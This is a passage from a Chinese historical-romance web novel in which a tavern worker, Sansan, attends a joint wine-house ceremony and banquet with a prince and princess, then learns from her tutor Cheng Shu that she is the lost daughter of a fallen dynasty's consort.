老板娘自是不好意思说怕被人在背后说她是几个老板中又老又土的那个,硬邦邦道:“这种盛大的仪式,难道不值得我上个淡妆吗?”
三三忍不住跟刘雁对视了一眼,笑道:“值得,太值得了。”
老板娘没再理她,自顾自去前面忙活去了
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一顿热汤下肚,舞狮队的人感觉浑身充满了劲,见时辰已到,便麻利地套上衣服在门前舞了起来。
锣鼓喧天响,舞狮劲十足,红黄翻飞间惹得早起赶集的百姓们都纷纷驻足观看,一时之间竟然扎满了人。
三三手里拎着个大锣,踩着准备好的椅子上,见那几位老板都来了,赶紧“dengdengdeng——”敲了好几声。
“父老乡亲们,今儿个是来财酒楼和百花楼、英雄楼、秋月楼的合作仪式,为表敬意,几位老板将会给大伙们随机发放免费的芳菲酒,希望以后大家继续支持我们芳菲酒啊!”
老板娘站在酒楼阶梯下方,杨老板和阮老板、邱老板都被李大力迎着上前跟老板娘站在了一块。
那杨老板见三三如此卖力,便举高了扇子高声喊道:“对,今天是我们百花楼跟来财酒楼的合作仪式,凡是今天去百花楼喝酒吃饭的,都打九折!”
此话一落,人群顿时炸开了。
“杨老板真的吗?要是真的我待会就去了啊!”
“真假?别是诓我们的吧?”
杨老板“唰”地摊开扇子,那折扇扬起的风扇得邱老板连连绕了个身站老板娘身侧去。
“当然是真的!我杨老板什么时候骗过大家?”
大家伙一听更加激动了,阮老板见状也不甘示弱:“我们也是啊,只要大家今天去英雄楼吃饭喝酒,都打折!”
邱老板一听,这还了得,赶紧拍了拍身侧带来的小二,让他跟着喊:“秋月楼也是!今儿个去秋月楼吃饭喝酒的,都打折!”
三三站在椅子上,见下方的百姓们都在你一言我一语地激烈讨论着,连旁边的舞狮都不能抢走他们嘴里讨论的热点,一时之间竟然不知道该说些什么。
她站的高,一眼就瞧见了打东边来的几辆马车。
怎么有点眼熟啊这马车?三三嘀咕道。
她定身一瞧,只见前面驾车的赫然是元安王府上的十一。
再定睛一看,车帘一侧被掀开,露出了裴景明那万年都是一副淡笑的模样,旁边还探出了个头,竟然是那公主裴朝朝!
三三怕又跟她对视上,赶紧撤回了视线,悄不作声地转了个弯,继续敲起了锣,还朝下面的李大力比划了一下,示意他赶紧准备放鞭炮推酒车出来!
奈何周围的敲锣打鼓声还有百姓的讨论声太大,那李大力还在专心地瞧着舞狮表演,根本没接收到三三的信号,气得三三只好腾地一下跳下椅子去他旁边吼:“赶紧准备放鞭炮推酒车!”
李大力这才回过神来,赶紧让人去点炮,自个跑回后院去拉酒车。
那鞭炮声可不是开玩笑的,一响起来就把周遭的声音给压了下去,十一驾着马车还没到跟前呢,那马儿就说什么也不肯再往前走了。
“王爷,”十一跳下马车,“前面放鞭炮了,马不肯继续往前走,不然……”
裴朝朝一把掀开车帘,两眼亮晶晶的望着前方,率先下马车:“那直接走过去便是了,你推二哥下来。”
裴景明见她如此高兴,笑道:“朝朝,你先过去吧。”
裴朝朝一听,便放心大胆地直往前去,速度之快连身后的侍女都跟不上。
“谢序川呢?还没来吗?”裴景明下了马车坐上轮椅,前后张望了一下都没瞧见谢序川。
十一给他披上大氅,低声道:“谢大人说自己从国公府那边过来,该不会是不来了吧?”
裴景明挑了挑眉,笑道:“应该不会,其樾不是那种人。”
裴朝朝今日打扮较往日要朴素点,头上也没戴什么饰品,就是冬日的衣服厚重,不方便她行动,她只好不断这边挤一下那边拥一下地慢慢往舞狮队那边挪去,她视线都往上瞧,根本不看地面,挤着挤着突然不知道被谁给拌了一下,眼见就要脸蛋直冲地板了,被人眼疾手快地捞住了肩膀。
裴朝朝瞪着个大眼,见自己的脸蛋离别人的脚后跟就差那么一点点,心都蹦到了嗓子眼。
她费劲地转动脑袋想看是谁救了她脸蛋,心里盘算着定要好好重谢人家一番,没成想一转眼就看到了自己的准驸马——谢序川。
25. 百花楼宴
“你、你怎么在这?”裴朝朝突然结巴了。
谢序川见人还在挤着,便把她先给捞了起来站直,两只手还虚虚给她挡着人,“我听说今天街上有热闹,在家里待着无聊便想出来看看。”
谢序川虽然大她五岁,但也是个没喜欢过姑娘的愣小子,平日里不是只窝在书房里读书就是跟各位官员讨论政事,没有半点风趣,眼下说了第一句话,愣是不知道接下来该说什么。
裴朝朝抿了抿唇,下意识地摸了摸自己的头发,见发饰没有乱,渐渐冷静了下来。
“谢谢你救了我,”裴朝朝顿了一下,又补充道,“的脑袋和脸蛋。”
谢序川被她这顿句给惊了一下,反应过来后一下子没忍住竟然笑了起来。
裴朝朝耳朵顿时红了,微微低下头,绯红从颈侧蔓延到耳根,十分显眼,谢序川高她一个头不止,一低头就能瞧见。
谢序川瞧见她耳根红了,立即偏了偏头,又问:“怎么就你一个人?没带护卫和侍女吗?”
裴朝朝还是第一次和谢序川靠的那么近,以往都是隔着十来个人的距离对话,眼下被人挤着,时不时一下就往他怀里撞去,裴朝朝整个人都要熟透了。
她小声道:“不是一个人,人太多,跟侍女走散了。”
周遭的声音又多又杂又大声,谢序川压根没听清她的话,不自觉地微微低头凑了过去。
裴朝朝想着他可能听不见,便抬头想大声点说话,两个脑袋一上一下的,视线就那么一下对上了。
谢序川低着头,不知道是不是因为外面的声音变小了,他竟然感觉耳边听到了自己的心跳声。
扑通、扑通,一下一下的,很急,频率比锣鼓声还要密集。
裴朝朝这下不止耳朵红了,脸也红了,当即“唰”地又低下了头。
“来来来,人人都有啊,别抢别抢,”老板娘手里抱着芳菲酒,见着人伸手就挨个发,“希望各位父老乡亲们以后继续多多支持我们芳菲酒啊。”
乡亲们为了能拿免费的酒,张口闭口都是恭贺祝福的话,伸长的手不住往几位老板身上探去,杨老板和阮老板兴奋不已,怀里抱着的酒三两下就分发完了。
邱老板拿不了那么多,只好两瓶两瓶地分发,没多久,那酒车竟然就空了半截。
三三怕被人趁机顺酒,赶紧站在酒车旁边,见几位老板回身拿酒,就算着数地给人递。
裴景明见人太多,便坐在人群后饶有兴趣地看着,瞥见到熟悉的身影后,不自觉地勾了勾嘴角。
仪式办得很顺利,发酒发得更是顺利,没一会酒车就空了,一早上下来,三三感觉自己的嗓子都要哑了。
见几位老板都在门口说说笑笑的,她趁机溜回去喝了口水。
“诶,您可算是来了,”杨老板几步上前去迎裴景明,眼里满是笑意地朝几位老板介绍道,“这位是元安王,想必各位都知道吧?”
三位老板面面相觑,瘸了腿整日坐轮椅的王爷谁人不知啊?
“知道知道,我们都知道,”阮老板笑眯眯道,“王爷能来观看我们的合作仪式,真是倍感荣幸啊!”
“是啊是啊……”老板娘和邱老板不约而同道。
裴景明见他们如此拘谨,便指了指身侧的杨老板,笑道:“我跟杨老板是朋友,今日来的不是王爷,就是个普通朋友,各位老板不用拘谨。”
话是那么说,但各位老板们也不敢放肆,除了杨老板的搭话,没人再多说什么。
三三喝完了水,本想坐一会歇歇,但没再听到外面的说笑声了,不由得奇怪。
“!!”
三三迈出门槛的脚顿在半空,见人看了过来,立马若无其事地踩地出门,嘴里还笑道:“我说怎么今日天气这般好,原来是王爷来了啊!”
虽然不下雪,但明明今日也不见太阳,这人竟然还能说天气好,裴景明一下就笑了。
不止他笑了,裴朝朝也笑了。
人群散了之后,裴朝朝便赶紧钻了出来,三两步就到了裴景明轮椅侧边,笑道:“三三姑娘真是个趣人。”
裴景明顺着她的身后看去,果然,谢序川也在。
三三被她夸得不好意思,四下乱看,瞥见那空了的酒车,赶紧道:“真是不巧,这酒已经分发完了,怪我怪我,应该给王爷和公主都留一份的。”
裴景明眼底盛满了笑意:“没事,我们本就是突然前来,怨不得姑娘。”
杨老板一拍轮椅扶手,朗声道:“这有什么,改日我给你送上一车,保管你喝个够!”
见他如此大言不惭,裴景明悠悠道:“你还是先学会如何酿芳菲酒再说吧。”
众人忍不住都低声笑了起来。
杨老板也不尴尬,大手接着一挥:“今日是个好日子,我特地让人在百花楼摆了席,王爷公主、谢大人还有诸位老板,可否赏我个脸,屈尊过去喝两杯啊?”
裴朝朝闻言当即率先表示:“既然杨老板如此盛情,我等怎好拒了您的美意?这就过去!”
其他几位老板你看我我看你,都在犹豫着到底要不要去,去了吧怕不自在,不去吧又说不过去,一番挣扎下来,还是邱老板率先出声:
“杨老板如此美意,我自然是要去的,只是还得回一趟酒楼交代伙计一些事宜,不若诸位先请,我随后就到。”
阮老板见状便跟着道:“诶对,早上出来得匆忙,这合作仪式刚结束,恐怕酒楼里忙得乱套了,我先回去交代清楚,随后就到随后就到。”
人都这样说了,杨老板也不好再说什么,只道:“那二位老板快去快回啊,杨某就在百花楼等你们了!”
老板娘见人都走了,也想跟着说回酒楼,话都到嘴边了才反应过来,她就在自家酒楼门前啊!
杨老板摊开折扇,风流倜傥地笑道:“李老板,您不会也要交代伙计事宜吧?”
老板娘看着他张了张口,没出声。
杨老板又贴心道:“这就在自家门口呢,要交代的话就赶紧去吧,交代完了咱一同过去等着就成。”
李老板:“……”
三三见老板娘走也不是,不走也不是,呆在原地憋着话脸都憋圆了,赶紧出来救场,推着老板娘往酒楼里面走:“诶对,老板娘你还得去跟他们交代一下呢,快去快去。”
老板娘这才恍若回神,边走边装模作样道:“诶对,雁子你……”
裴景明见他们这般模样,不由得好笑出声。
一旁的谢序川也忍俊不禁道:“这些人着实有意思。”
裴朝朝钻出人群跑到她哥身边后,一直在给自己洗脑刚刚什么都没有发生,结果谢序川一说话,她那点心理建设顿时塌了个底朝天。
她耳根不知怎么的又慢慢红了起来,裴景明一侧头就看到了,他挑了挑眉,看向后方的谢序川,后者被他那眼神打量得竟然莫名也不好意思了起来。
裴景明这下真笑了,笑声朗朗又透着点打趣:“朝朝,你耳朵怎么红了?受伤了?”
裴朝朝低头瞪了他一眼,见谢序川也看了过来,瞪得更加卖力了。
裴景明故作看不懂她的意思,关切问道:“可是刚刚人挤人的被人暗算了?”
谢序川凑近两步,也低头看了过去:“应该没有,我……”
他话还没说完,裴朝朝扭头就往马车方向走去,道:“杨老板,我先去百花楼了!”
杨老板不明所以,环视了一圈裴景明和谢序川,见二人神色自然,更加不明所以了。
“公主这是?”杨老板实在好奇。
裴景明笑着看谢序川,后者一脸坦荡:“我也不知,但谢某从未逾矩。”
裴景明挑了挑眉,心道我也没说你逾矩啊。
酒楼里头,老板娘回来就猛灌了两杯茶水,趁人不注意,又偷偷回头看一眼门外那几人,见众人还在那有说有笑,眉头顿时紧蹙了起来。
“三三,我真要去吗?”
三三点头:“去啊,几位老板不都去吗,虽说先偷溜回去了,但总归会去的,早晚而已。”
老板娘忧心忡忡的,她活了这么把岁数,头一回跟这些王爷大人的打交道,心里实在打鼓,又问:“你代我去行吗?”
三三歪头疑惑:“怎么代?这可代不了啊老板娘,杨老板都说了是老板们的席。”
老板娘哎呀了一声:“怎么去不了?你跟那王爷不
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挺熟的吗?还有那公主,上次还给你送甜点了。”
“……老板娘,就一回,真不熟。”三三无奈地解释道,她跟那公主就见过两回,神知道她为什么要送甜点。
老板娘还在苦苦挣扎,门外的杨老板早已等不及了,扬声道:“李老板,交代好了没有?”
老板娘扯出个皱巴巴的笑脸,又装模做样地叫了刘雁过来跟前,应道:“快好了快好了。”
三三说什么都不肯代她去,李老板无奈,谁料她一出门正准备上马车呢,那杨老板就问:“怎么三三姑娘不去吗?”
老板娘这会都钻车里了,一听这话赶紧掀开车帘大着嗓门喊道:“去!她去的!让三三快一点!”
三三本想着趁老板娘出去吃席,可以去看看孟岸和孟双,没成想转眼间,她就被老板娘一把给薅上了马车。
她坐在马车里,百思不得其解,她又不是老板,她去算怎么回事?
老板娘见三三也被叫上了,心里一下就踏实了,也不管三三乐不乐意,一个劲地在那哼歌。
“……为啥要叫我啊?酒楼今天多忙啊……”三三嘟囔道。
老板娘嘿了一声:“怎么不能叫你了啊,为着合作这事,你整天都在外面跑,受苦受累的,去吃一顿席面又怎么了?”
三三抿了抿嘴,心道,累是累,苦倒还成,要真心疼我的话,不如多给我点银子。
“来来来,王爷公主请上座,谢大人这边请……”杨老板一回到百花楼,整个人跟孔雀开屏似的,得意地不得了。
也难怪他不得意,这天字号雅间布置得一看就十分费银子,屏风上的廊桥明月图一看就出自名家之手,雪松味的燃香温和不刺激,隐约带点檀香,让人闻之难忘,再看那筷子,竟然是用玉做成的,那碗更加了,晶莹剔透,碗筷碰撞间叮铃脆响,一听就是银子的声音。
饭菜上桌的速度很快,几乎是人刚一落座,菜就上来了,杨老板叫来小二,让人先不急着上大菜,再去门口候着阮老板和邱老板。
老板娘拘谨地坐着,也不敢轻易碰那碗筷,生怕一个不慎给人砸了就得赔银子。
三三也拘谨地坐在她身侧,她长这么大,也是头一次见到这种碗筷。
裴朝朝本来是挨着裴景明的,但她有意要去跟三三聊天,便挪了个位置坐在她身侧。
“公主,这……不太好吧?”三三纠结道,这位置都是有讲究的,她既不是王公官员,也不是酒楼老板,她坐在挨着门口的位置刚刚好,可这公主……
裴朝朝摆了摆手,不在意道:“这有什么,又不是什么大宴席,不用在意那些,况且在场的都是自己人,拘束那么多干什么呀。”说着还使劲朝杨老板使了使眼色,杨老板是个人精,立即心领神会。
“对啊,此次大家伙能合作,多亏了三三姑娘,既是合作了,那就都是自己人了,何必在意那么多礼节呢?”
三三这下没话说了,这是别人的地盘,客随主便就是了。
裴朝朝拉着三三说话,问的都是些街头巷尾的趣事,三三自觉没有说书人那种能将一个故事说得绘声绘色的本领,但裴朝朝却听得十分有滋有味,不仅她,就连裴景明和谢序川都忍不住侧耳倾听。
“那后来呢,那小乞丐呢?死了吗?”裴朝朝问。
三三讲的是孟岸和孟双的故事,虽然隐去了些真实信息,但她不希望这两兄妹被人察觉。
“死了,天寒地冻的,又没人救他们,自然是死在了寒冬里。”三三平静道。
裴朝朝叹了口气,心里十分不好受,她一直以为大楚的百姓都生活得很好,往日出宫玩耍,见着的都是些吃饱喝足的人家,不成想还有这般可怜的小乞丐。
谢序川做了好几年的官,对于此等事倒是有所耳闻,只是纸上的叙事总是草草一笔带过,骤然从别人嘴里亲耳听闻,倒也有些感慨。
只有裴景明不声不响,三三故意不看他,这人跟人精一样,谨慎点为好。
三三见裴朝朝面上难过,安慰道:“公主不必伤心,人各有命,若是以后街上遇到小乞丐的话,不妨给点银子或吃食。”
与其怜惜死去的小乞儿,不如多看看活着的。
26. 温玥贵妃
好在阮老板和邱老板来得及时,席上的气氛顿时活跃了起来。
觥筹交错间,三三经不住劝酒,只匆匆喝了两杯便借口要出去吹吹风醒酒。
这百花楼总共四层,天字号雅间在最顶层,站在廊外就能俯瞰大半个东京城。耳边风声猎猎,三三被北风吹着脸,凉意顿上心头,整个人都清醒了不少,她微微低下身子趴在护栏上,仔细感受着北风的凌冽,不成想却听到了三楼廊上传来的声音。
“最近临着过年了,除了这芳菲酒一事是件好事,也没甚好事值得我们乐道乐道了。”这声音较为粗犷,一听就是个三十来岁的男子,说不准还是个胖子。
“嗨,老兄您可别说了,前阵子那祭祀一事真是惹得百姓怨声载道,好在杀那女魔头杀得痛快,”接话的这人声音稍微尖细一点,可能年纪比刚刚那个要小一点,他饮了口酒,神秘道,“但这事也没完。”
那粗犷的声音响起:“老弟何出此言?”
“大哥没听说吗?最近民间都在传……”那尖细的声音骤然降低。
“传什么?”
三三也低下身子贴着耳朵,温热的耳廓甫一碰到冰冷的护栏,冻了三三一个激灵,心道传什么倒是快点说啊。
奈何风声太大,那尖细的声音又低了许多,三三费劲力气才听得几个字。
“……大晋……皇子殿下……大楚国君不仁义……这才……”
三三脸色骤变,直起身子就想下楼去打探清楚,没成想这刚一转身,就直愣愣扑上了坐在轮椅上的裴景明。
两人大眼瞪小眼的四目相对,好不尴尬。
三三赶紧撑着扶手起身,没好气道:“你这人怎么过来得没声没息的?”
裴景明无辜地摊了摊手:“不是我没声没息,是姑娘你扒在栏上十分专注,我轻声唤了你几次,见你不应,便不敢再唤了,可没想到姑娘你这一下子……”
三三不语,反倒谨慎了起来:“那你离我这么近干什么?你想推我下楼?谋财害命?”
裴景明见她这般模样,活像家里那只跟人抢吃食的白猫小梅花,忍了又忍,终于还是忍不住笑了。
三三默不作声地贴着围栏想往里面走,裴景明见状笑得更大声了。
“我若是想谋财害命,岂会让姑娘你活那么久?”他突然收起了笑意,满脸正经,惊得三三差点以为这人是戏法班子专门变脸的。
三三边挪动着脚步边不动声色道:“哦,也是,毕竟你可是元安王。”
醒酒的时候觉得这北风吹得可真舒服,让人清醒得不行,眼下酒醒了,怎么觉着这咧咧北风吹得跟要人命一样呢?
三三慢慢挪动着,眼见就要靠到那廊上的门了,突然被人一把拉住了手腕。
这人手掌冰冷如千年寒霜,乍一碰到她温暖的手腕,冻得三三又打了个激灵,赶紧奋力一甩,不成想眼前人力气了得,不仅没甩开,反倒被人借力拉得更近了。
裴景明手里握着那暖玉一般的手腕,眼眸中流淌着莫名的情绪,他紧盯着三三,眼神从上到下,细细打量着她的眉眼、鼻子、嘴唇。
温老将军乃前朝大晋重臣,育有一子一女,小女儿嫁给了晋王,后来成了贵妃,晋王身死那日,士兵搜查宫中妃嫔时发现温贵妃早已和晋王一道烧死了,但贵妃宫中不见有皇子公主。
难道早被人偷偷送走了?
裴景明一错不错地盯着三三的眼睛,会是她吗?若不是她,为何太子太傅会在她身侧?
三三被他勒得生疼,甩又甩不开,这人还一直看她脸!
气得三三用另一只手甩了他一巴掌。
“啪!”地一声又脆又响,单从声音上听就知道这甩脸子的力气用了十成十,裴景明被打得脸一偏,知道自己把人给惹恼了,赶紧松了手,嘶哑道:“对不住了姑娘,我喝多了酒,脑子有点不清醒。”
三三低头转了转自己的手腕,还好没错位也没脱臼,不然她非把他腿给打断了!
哦不对,他腿已经没了,那就把他手给打断!
三三恶狠狠警告道:“你自己心思不正还怪酒?这一巴掌算轻了,再敢对本姑娘动手动脚,下次你的手也没了。”
三三扭头就进门,结果发现众人都齐刷刷地看着她,想来是听见了那一巴掌声……
“……刚刚有个好大的虫子飞王爷脸上了,我帮他打来着,力气一下没控制住……”三三头皮发麻地胡诌道。
杨老板不愧是个人精,虽然一眼就看到了裴景明泛红的脸,但还是当即附和道:“这我可有经验了,我这楼啊它高,老是有虫子飞来飞去的,之前也遇到过大虫子,那小二帮我打的也是这一片红那一片红的……”
众人被他说得一愣一愣的,对三三的说法丝毫不再怀疑。
“王爷,您今日是不是……”回府后,裴景明那脸上的红印不仅没消,反而越发清晰,十一看一眼都觉得疼,终于忍不住开口问了。
裴景明抬手摸了摸脸,忍不住轻嘶了一声,笑道:“力气还真是大。”
能不大吗?瞧这脸,不涂点药怎么好的了?十一默默道。
“王爷,我去给您拿点药。”十一将他推回书房,赶紧钻去药房取药,生怕慢一点他家王爷的脸就毁了。
白猫听到声音从书架子上面轻轻跃了下来落到书案上,又接着一跳直接跳到了裴景明怀里。
“小梅花,你说我今日是不是太冒失了?”裴景明轻轻抚着它背,小梅花喵喵了两声,似是应和,但很快又蜷着身子窝着不动了。
自打合作仪式结束后,几家酒楼的生意是越发得好,那天香楼的王掌柜见老板娘不仅不卖给他们秘方,还和其他酒楼合作,气得纠集了一帮打手准备去来财酒楼闹事,结果还没走到半路呢,就被自家老爹给拎了回去。
“你知道那百花楼后面是谁吗?你还敢去!你不要命了我可要!再敢去闹事我就打断你的腿!”天香楼的老板愤愤道。
那王掌柜捂着耳朵哎哟个不停,连连应道:“知道了知道了,儿子知道了。”
但老爹一松手,他又梗着脖子道:“不就是个瘸腿的元安王吗?咱家后面还是宁北王呢!”
那老板作势又要去拧他耳朵:“你懂个屁!这事就这么着了,以后再说!”
三三对这事半点不知,只每天老
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老实实地继续打扫、上菜、洗碗,那日的巴掌没让她搁在心上,别说他是王爷,就算他是天王老子,敢这么对她也照打不误,她更在意的是没听清的那个谣言。
怪不得老人常道光阴似箭,三三每日里做活感觉还没过几日呢,眨眼间就快要到除夕了。
前几日她趁着老板娘不在,忙完之后便去同仁堂看望孟岸孟双,那俩兄妹已然养好了身体,精气神十足,完全看不出当日的模样,尤其是孟双,小脸长了点肉,不再像之前那般瘦脱了相,倒有点小美人坯子的模样了。三三想着把他们带去书铺,可去了几次都没见先生回来,只好又给了牛爷爷一块银子,让他继续流那俩兄妹几日。
除夕前三天,程书回来了。
三三吃完饭正准备上街去买点年货,突然瞥见那棵枯树上系了条红丝带。
她盯了好一会,心道,既然先生回来了,那就先去买年货再去书铺送他,刚刚好。
“dong、dong、dong”叩门声响起时,程书正对着幅画像潸然泪下。
他抬起袖子擦了擦眼,应了声:“来了。”
三三手里拎了好多点心,本以为先生看到了会很开心,没成想一开门就见到了眼眶通红的程书。
“先生,您这是……”三三举起点心的手轻轻放下。
程书勉强笑了笑:“殿下快进来吧。”
三三随着他进屋,发现墙上挂了幅画,画上是个十分温婉美丽的女子。
她借着火烛细细打量,觉着这人有些眼熟,还有点说不上来的亲切感……
程书站在她身后给她掌灯,轻声道:“殿下觉得眼熟吗?”
三三点点头,问道:“是有点眼熟,先生,这是谁啊?”
程书喉头滚动,几经哽咽,终于道:“这是温玥温贵妃,您的亲生母亲。”
三三瞳孔倏然瞪大。
“温贵妃是现如今大楚温将军的小女儿,大晋投降后,温将军也归顺了大楚,”程书声音哽咽,几不成句,“当年温贵妃救了我一命,还赠我书银以科考,我这才有机会为官,一路做到太子太傅。”
“温贵妃性子温婉,待人极好,入宫为妃后不久便怀上了殿下,只是好景不长,第二年,大楚便攻下了东京城,算来,也不过当了两年晋王的妃嫔。当日城破,宫里一片狼藉,到处都是刀光剑影,血流成河,我找了好久才从那宫墙下的狗洞钻了进去,一路紧赶慢赶才赶到了贵妃宫中,想着拼死也要护着殿下和贵妃走,却不成想……”
温玥知道晋王的性情,若是他要死了,便会带着所有人一起死。
她本想托人将尚在襁褓的孩子送往将军府,可没人敢出去。温玥抱着孩子跌坐在地上,泪眼婆娑地望着门外,却没想到程书来了。
“程大人!”温玥紧紧抓着他的袖子,哀求道,“求您,求您将这孩子送去将军府,我爹爹和大哥定会护她周全的!”
不必她求,程书自是答应。
“那您呢?您不走吗?”程书问道。
温玥眼里带笑,她俯身亲了亲那安静沉睡的孩子,又塞了块玉佩进襁褓:“你带着孩子走吧,我走不了了。”
27. 揭开身世
程书顿时扑通跪地,哭道:“娘娘,娘娘您同臣一道走吧,公主没有您不行啊!”
温玥将孩子递给他,拍了拍他肩膀:“赶紧走吧,晋王待会就要来了。”
程书不明白她的意思,但温玥一直在催他走,前头宫殿的官兵厮杀声已然传了进来,宫女四处乱逃,尖叫求救声此起彼伏。程书知道再耽搁不得,只得抱着怀里的婴儿顺着那狗洞再次钻了出去。
直到出了宫门,瞧见那熊熊燃起的大火,他才从别人嘴里知道,晋王在楚军攻破大殿时,抓了所有的妃嫔,与他一道,一同烧死在了崇德殿。
三三沉默地看着那画像上的女子,问道:“既是先生当初带着我走的,又为何我会辗转流落农户家呢?”
程书此时已然泣不成声,他满脸泪痕,扑通跪地:
“都是我的错啊!殿下!都怪我!当年逃出宫后,追兵也跟了过来,我一男子带着一个尚在襁褓的婴儿十分显眼,几经逃亡,换了好几个身份装扮都没能躲过去,最终只好……”
“……只好将殿下与我那同岁的女儿……互换了一下。”程书说到此处已然哽咽得不行,连句话都说不完整。
“我带着女儿吸引追兵往别处去,让家丁带着殿下往另一处去。那追兵追上我后,逼问我婴儿是何身份,我只好狸猫换太子……追兵杀了我女儿后,也砍了我两刀,我怕耽搁,便拖着伤一路去找那家丁和殿下,却不成想那家丁见追兵来势汹汹,竟然在半路就扔下了殿下自个逃走了。”
“我遍寻殿下不得,加上重伤在身,很快就因为失血过多晕了过去,醒来时发现自己被一猎户所救,待伤势渐好便沿着周边继续寻找殿下,可是怎么找也找不到……”
程书匍匐在地,痛哭哀嚎,竟哭得上气不接下气,三三沉默着蹲下身子拍了拍他背。
“后来听闻大楚皇帝为了减少流血和牺牲,一直在说服前朝臣子归顺,大晋有大半文臣武将都归顺了大楚,就连温将军也……那大楚皇帝其实一直在找我,为了避开耳目,暗地里继续寻找殿下,我便回到了东京城,决然拒绝归顺大楚,对外声称回齐州老家养老了。”
程书一直在哭,却还是哽咽着说完了来龙去脉,三三将他扶起,却见他脸上竟然淌出了血泪。
“先生!您……”三三心中大惊,流血泪这事她只在说书人嘴里听过,没想到竟然真有人大彻大悲到此种地步。
程书恍若不觉,满脸悲切,只紧握着她手道:“我知殿下一直不信我的话,当年我费尽心思才找到收养您的那户农家夫妇,不成想他们不仅昧下了那块玉佩,还将殿下又卖出去给他人以换取粮食,简直丧尽天良!我遍寻玉佩不得,便想着先回东京城找到您,虽说眼下能够证明您身份的东西是一样也没有,但好在,好在手下人打探到了当年进宫给各位娘娘画像的画师家在何处,我前几日离京便是为了去找那画师。那画师丹青了得,记忆力更是了得,竟然在回家后就把各位娘娘的画像都重新画了一遍,为避免他人知晓,他本想在死前一把烧光,我得知后便出价让他把温贵妃的画像卖给了我。”
他言辞恳切无比,面上那两道血泪一直流个不停,三三心中不忍,赶紧扶着他坐下,又去院中打了盆水过来。
程书接过帕子擦脸,却依旧哽咽道:“殿下如今已然长大,面貌与年轻时的温贵妃十分神似,我这才想到要找那画师,殿下,殿下啊!”
“老臣所说句句属实,绝无半点虚言!以往因着没有任何信物,殿下不信我我也不曾说些什么,可是如今,如今凭着这画像,您还能不信吗?!”
三三沉默着给他洗帕子,见他那血泪又要流出,便道:“先生,别再哭了,再哭您这眼睛怕是要不得了。”
程书又是悲切又是激动:“我愧对娘娘,就算瞎了这双眼又如何!”
三三见那帕子上的血浸透了盆中水,便默默出去又换了一盆新的回来。
“实不相瞒,初见先生时,我以为先生患有脑病,后来先生让我来书铺教我读书习字,我也以为您这病是一阵一阵的,”三三苦笑了下,接着道,“之前我对先生说的话是不信的,只以为您把我当成了他人,想着不刺激您就认下了这事。”
三三端着盆,侧头看着墙上那幅画,那画师确实技艺了得,画中人五官极为标志,身形窈窕婀娜,眼眸温柔似水,好似真人一般灵动。
三三轻声对着那画道:“我一直以为自己是个没爹没娘的孤儿啊。”
五岁前她在农户家吃不饱穿不暖,五岁后跟着老板娘在东京城做伙计,路都认不齐便要整日走街串巷送酒送菜,她幼时也很羡慕别的小孩有爹疼有娘爱,不用干活也有饭吃有钱花,可是她没有爹娘,她在偌大的东京城里,不干活就没有饭吃,不干活就活不了,除了酒楼那处小房,她再也没有别的地方可去。
程书沉默着擦着帕子,若不是那帕子上的血一直洗不干净,三三还以为他已经平复下来了。
“殿下吃了许多苦,都怪我当时没有护好殿下!”程书声音已然嘶哑得不行。
三三看着那染血的帕子和盆里的红水,安慰他道:“先生已经尽力了。”
他确实已经尽力了,三三知道,一介书生,面对刀口舔血的士兵又能如何呢?他甚至牺牲了他同样尚在襁褓的女儿……
三三回去的路上一直很沉默,往日里她最爱看那各式各样的灯笼,然后在回家的路上不停幻想着要是某天发财了,她要将所有灯笼都买回去,一天挂一个,天天不重样。她去得频繁,甚至连老板都眼熟了她,可她今日路过时只瞧了一眼便走了。
三三走两步就停下来叹口气,走两步就停下来叹口气,反反复复地,就这么一路叹着气回了酒楼。
她信吗?起初是不信的,但看到了那画像上的女子,又听程书说了那么多,她早已动摇。
也许天下之大会有长得相似之人,但身世如此坎坷,程书能顺着那农户夫妇的话不惜一切代价来到东京城找到她,想来也不会再有第二人了。
“程书回来了?”裴景明刚刚上完药,就听到门外的五三回来给十一报信。
“回王爷,那程书确实回来了,还带回来了个包袱,不知道里面装着的是什么,而且没多久,那三三就提着年货上门了,刚刚才离去。”十一侧身让开,五三便进了书房汇报。
“这么早就送年货?”裴景明挑了挑眉,这不挑还好,一挑就扯着那脸上的印,疼得他赶紧松开了眉头。
“是啊,说来也奇怪,送年货去的时候她欢欢喜喜的,结果出门时就耷拉着头,瞧着有心事的样子。”五三回忆着那三三走两步叹一口气的模样,不自觉也跟着叹了口气。
“你作什么叹气?”十一不解地问道。
“我也不想啊,那三三就是这样一路叹气回去的,我被她传染了,也跟着叹气了。”五三无奈道。
裴景明笑了笑,一下一下摸着小梅花的后背:“看来程书应当是带回了什么不得了的东西,以至于三三情绪起伏如此之大。”
五三试探道:“要去偷吗?”
裴景明抚摸小梅花的手一顿,眉头紧蹙:“偷?这多不好,先去查清楚程书带回来的是什么,看能不能偷梁换柱。”
五三恍然大悟地张大嘴巴哦了一声。
三三躺在小房那张木床上,睁着那双大眼一直看屋檐。
她睡的床是木床,身子底下垫着的是用了好多年的棉布,里面的棉花早没了,充其量就是在木板之间
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隔了一块厚一点的布,身上盖着两床被子,一床薄薄的,一床稍微厚一点,虽然也没什么棉花,但好歹叠一起也算暖和。
三三眨了眨眼,她是公主,裴朝朝也是公主,为何二人差别如此之大呢?往日里瞧那裴朝朝出门都有价值不菲的金车宝马相送,护卫侍女陪着不说,想要什么就有什么,日常穿着打扮也是精致得不行。再一看她,灰头土脸虽不至于,但从来没有编过像样的发饰,也没有戴过那样好看的祥云纹金步摇,更没有穿过那传说中的江南特供皇室的丝绸成衣。
三三翻了个身,右手垫在脸下,忍不住想,这是因为什么呢?就因为她是前朝的公主,而她是当朝的公主吗?
可若不是大楚……若不是大楚攻占了东京城,导致大晋皇室尽数死绝,她也会像裴朝朝一样吧……
三三腾地一下起身,推开窗户,街上乱窜的冷风像是骤然找到了方向,猛然一下就钻进了屋子,吹得三三清醒无比。
凡是哪有那么多若不是,没了就是没了。
还有十来天就要到除夕了,三三想着把孟岸孟双接到先生那里去,也好让先生不再一个人孤单过年。
这日忙完之后,三三便去同仁堂将孟岸孟双接走了。
“牛爷爷,这段日子真是辛苦你照顾这两个小孩了,”三三提了一大堆糕点过来,又趁人不注意塞了块银子到他手中,“牛爷爷,务必收下啊!那两兄妹养伤费了不少药,您这药材铺收来的药也是费了钱的,我可不能让您亏本了。”
牛爷爷年纪大了就是爱吃点甜食,本来见着那糕点就高兴得不行,但一见三三又塞了块银子给他,说什么都不肯要,三三只好趁着他不注意,将那银子塞到了糕点袋下面。
“姐姐,我们要去哪呀?”孟双拉着三三的手晃了晃。
